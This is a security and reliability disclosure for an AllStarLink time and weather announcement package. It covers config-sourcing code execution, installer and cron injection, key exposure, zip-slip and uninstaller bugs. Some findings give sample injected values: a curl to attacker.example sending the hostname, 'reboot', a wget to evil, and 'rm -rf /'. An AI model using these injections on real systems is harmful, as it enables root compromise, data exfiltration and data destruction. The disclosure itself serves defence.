ASL3 Saytime Weather TimeFormat

Pre-patch security & reliability disclosure — reviewed 2026-07-02

Warning: The original (unpatched) release contained 13 security flaws, including 3 critical issues that could allow remote or local root compromise on an AllStarLink node. Apply patch series patches/0001–0007 before deploying on a production repeater.
23
Total findings
3
Critical
4
High
10
Medium
6
Low

Why this software was dangerous

These scripts run as root, fetch data from the network, write to system paths, and schedule hourly jobs. The unpatched code treated configuration and API responses as executable shell, downloaded binaries over plain HTTP, and installed unverified ZIP archives with root privileges. Any one of the critical flaws is sufficient for full node takeover.

Detailed findings

0001 0002 0003 0004 0005 0006 0007
SEC-001 Critical Security

Arbitrary code execution via sourced config file

Configuration was loaded with bash source instead of safe parsing.

Affected files
bin/asl3-weatherapi-update.sh, bin/show_weatherapi.sh, install_asl3_saytime_weather_timeformat.sh
Description
weatherapi.ini was executed as shell code. Any line containing shell metacharacters (semicolons, $(), backticks, unbalanced quotes) runs with the privileges of the script — typically root when invoked by systemd or cron.
Example attack / failure mode
LOCATION="74437"; curl attacker.example/$(hostname) #
Impact
Full root compromise on the AllStarLink node whenever the update script or show script runs.
Fixed in patch
0002, 0003, 0004
SEC-002 Critical Security

Arbitrary code execution via sourced weather cache

API-derived cache file current.env was sourced as shell code.

Affected files
bin/show_weatherapi.sh, bin/asl3-weatherapi-update.sh
Description
Weather condition text and location names from WeatherAPI.com were written into current.env without escaping, then source'd by show_weatherapi.sh. A malicious API response, compromised upstream, or man-in-the-middle attack could inject executable shell.
Example attack / failure mode
CONDITION=""; reboot #
Impact
Remote code execution as root when an operator runs show_weatherapi.sh or when cache is sourced.
Fixed in patch
0002, 0003
SEC-003 Critical Security

Installer command injection into config (sed)

Install arguments were inserted into weatherapi.ini with unescaped sed.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
LOCATION, NODE, and TIME_FORMAT install arguments were written using sed -i with double-quoted replacement strings. Special characters in arguments break out of the quoted value and become persistent shell code in the config file (see SEC-001).
Example attack / failure mode
sudo ./install_asl3_saytime_weather_timeformat.sh '"; wget evil #' 12345
Impact
Persistent backdoor in config; executes on every weather update or cache display.
Fixed in patch
0004
SEC-004 High Security

Cron command injection via installer arguments

Location and node install args were embedded unquoted in root crontab.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
The hourly cron line interpolated $LOCATION_ARG and $NODE_ARG without quoting. Cron runs jobs under /bin/sh, so metacharacters in install arguments become scheduled root commands.
Example attack / failure mode
Install with location: 74437; rm -rf /
Impact
Arbitrary command execution as root every hour via cron.
Fixed in patch
0004
SEC-005 High Security

WeatherAPI key exposed in process list

API key appeared in curl command-line arguments.

Affected files
bin/asl3-weatherapi-update.sh
Description
The full URL including key=YOUR_KEY was passed on the curl argv. Any local user could read ps output, audit logs, or proxy logs and steal the WeatherAPI key.
Impact
API key theft, quota abuse, billing fraud, and potential account lockout.
Fixed in patch
0002
SEC-006 High Security

Sound files downloaded over unencrypted HTTP

Recorded voice ZIP was fetched via http:// with no integrity check.

Affected files
install_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
Description
A network attacker could substitute a malicious ZIP during install or uninstall manifest download. No checksum or signature was verified.
Impact
Supply-chain attack: malicious audio files or zip-slip payloads delivered to the node.
Fixed in patch
0004, 0006
SEC-007 High Security

Zip-slip path traversal on install

Sound ZIP was extracted without validating member paths.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
unzip -o wrote every archive entry directly under SOUNDS_DIR. A crafted ZIP with entries like ../../etc/cron.d/backdoor could write outside the intended directory. The audio uninstaller had guards; the installer did not.
Impact
Arbitrary file write anywhere the install user (root) can write.
Fixed in patch
0004
SEC-008 Medium Security

Predictable world-writable temp output file

Announcement audio always used /tmp/current-time.gsm.

Affected files
bin/saytime.pl
Description
A fixed path in /tmp allows symlink attacks and races between concurrent runs. Another local user could redirect writes or cause premature deletion during playback.
Impact
Denial of service, corrupted playback, or tricking Asterisk into reading attacker-controlled audio.
Fixed in patch
0005
SEC-009 Medium Security

Shell invocation to concatenate audio files

GSM files were merged via system("cat ... > outfile").

Affected files
bin/saytime.pl
Description
Even with shell quoting on paths, invoking /bin/sh adds attack surface. A quoting bug or unexpected filename could enable command injection.
Impact
Potential command execution if sound paths or config paths are ever attacker-influenced.
Fixed in patch
0005
SEC-010 Medium Security

Weather cache world-readable

weather.json and current.env were chmod 0644.

Affected files
bin/asl3-weatherapi-update.sh
Description
Any local system user could read cached location, conditions, and metadata. On shared or multi-user hosts this leaks operator location and habits.
Impact
Information disclosure to unprivileged local accounts.
Fixed in patch
0002
SEC-011 Medium Security

Unvalidated CACHE_DIR and SOUNDS_DIR from config

Directory paths from config were used without validation.

Affected files
bin/asl3-weatherapi-update.sh, bin/saytime.pl
Description
Values like /, /etc, or paths containing .. were accepted. Combined with config injection (SEC-001), this could redirect cache or temp files to sensitive locations.
Impact
Writes to unintended directories; amplified impact when config is compromised.
Fixed in patch
0002, 0005
SEC-012 Low Security

GitHub raw downloads without verification

Installer pulls scripts from raw.githubusercontent.com with no checksum.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
Compromise of GitHub, DNS, or TLS interception could deliver altered install scripts. Operators should verify commits or use pinned releases.
Impact
Supply-chain compromise during install.
Fixed in patch
(not patched — operational risk)
SEC-013 Low Security

All components run with root privileges

Installer, cron, and systemd jobs expect root for Asterisk integration.

Affected files
All scripts, systemd timer
Description
Every flaw above executes with full root privileges. There is no privilege separation between weather fetch, audio build, and Asterisk playback.
Impact
Any single vulnerability becomes full system compromise.
Fixed in patch
(by design — increases blast radius)
BUG-001 Medium Reliability

350 ms pause file was actually 1 second

sox trim 0.0 1.0 generated one second of silence, not 350 ms.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
The pause between time and weather announcements was roughly three times longer than intended, making hourly announcements sound sluggish.
Impact
Degraded user experience on the repeater; not a security issue.
Fixed in patch
0004
BUG-002 Medium Reliability

Stale weather after LOCATION change

Changing LOCATION in config did not invalidate existing cache.

Affected files
bin/asl3-weatherapi-update.sh, bin/saytime.pl
Description
Cache refresh only occurred when the file was missing or older than 20 minutes. After relocating the node or correcting a typo, wrong-city weather could be announced for up to 20 minutes.
Impact
Incorrect weather on air; operator trust issue.
Fixed in patch
0002, 0005
BUG-003 Medium Reliability

Race on shared /tmp/current-time.gsm

Concurrent saytime.pl runs shared one output file.

Affected files
bin/saytime.pl
Description
Manual test during an hourly cron run could delete or overwrite the file mid-playback, causing silent or truncated announcements.
Impact
Intermittent failed or garbled time/weather announcements.
Fixed in patch
0005
BUG-004 Medium Reliability

Fixed 5-second sleep before cleanup

Output file was deleted after sleep 5 regardless of announcement length.

Affected files
bin/saytime.pl
Description
Long announcements (time + weather + humidity + feels-like) could still be playing when unlink removed the GSM file. Asterisk playback failure was not checked.
Impact
Truncated or missing audio on busy weather announcements.
Fixed in patch
0005
BUG-005 Medium Reliability

Uninstaller removed all saytime.pl cron jobs

grep -v deleted every crontab line mentioning saytime.pl.

Affected files
uninstall_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
Description
Beyond the installer's marked block, any custom or hand-edited cron entry calling saytime.pl was removed without warning.
Impact
Unexpected loss of unrelated scheduled announcements.
Fixed in patch
0006
BUG-006 Medium Reliability

Uninstaller could wipe entire root crontab

Empty crontab after cleanup triggered crontab -r.

Affected files
uninstall_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
Description
If the only crontab entries were saytime-related, the uninstaller removed the entire root crontab instead of leaving an empty but valid file.
Impact
Loss of all other root cron jobs (backups, maintenance, other ASL tools).
Fixed in patch
0006
BUG-007 Low Reliability

Installer sed silently skipped missing config keys

sed only replaced existing LOCATION/NODE/TIME_FORMAT lines.

Affected files
install_asl3_saytime_weather_timeformat.sh
Description
If weatherapi.ini already existed but lacked expected keys, install arguments were ignored with no error.
Impact
Operator believes install configured the node; it did not.
Fixed in patch
0004
BUG-008 Low Reliability

Silent mode flag stored as string

$silent was assigned from argv without numeric coercion.

Affected files
bin/saytime.pl
Description
Perl string comparison mostly worked, but numeric context was fragile for legacy calling conventions using 0|1|2 silent modes.
Impact
Edge-case misbehavior in silent/save modes.
Fixed in patch
0005
BUG-009 Low Reliability

Temperature announced with int() truncation

Fractional temperatures were truncated toward zero.

Affected files
bin/saytime.pl
Description
Values like 72.6°F were announced as 72; negative fractional values could round incorrectly.
Impact
Minor inaccuracy in spoken temperature.
Fixed in patch
(not patched)
DOC-001 Low Documentation

README license contradiction

README claimed both GPLv3 and MIT for contributions.

Affected files
README.md
Description
The LICENSE file is GPLv3; the README incorrectly stated contributions were under MIT.
Impact
Legal confusion for contributors and redistributors.
Fixed in patch
0007

Remediation

Apply the full patch series from the repository patches/ directory:

git am patches/*.patch

Or merge the review-fixes branch. After patching: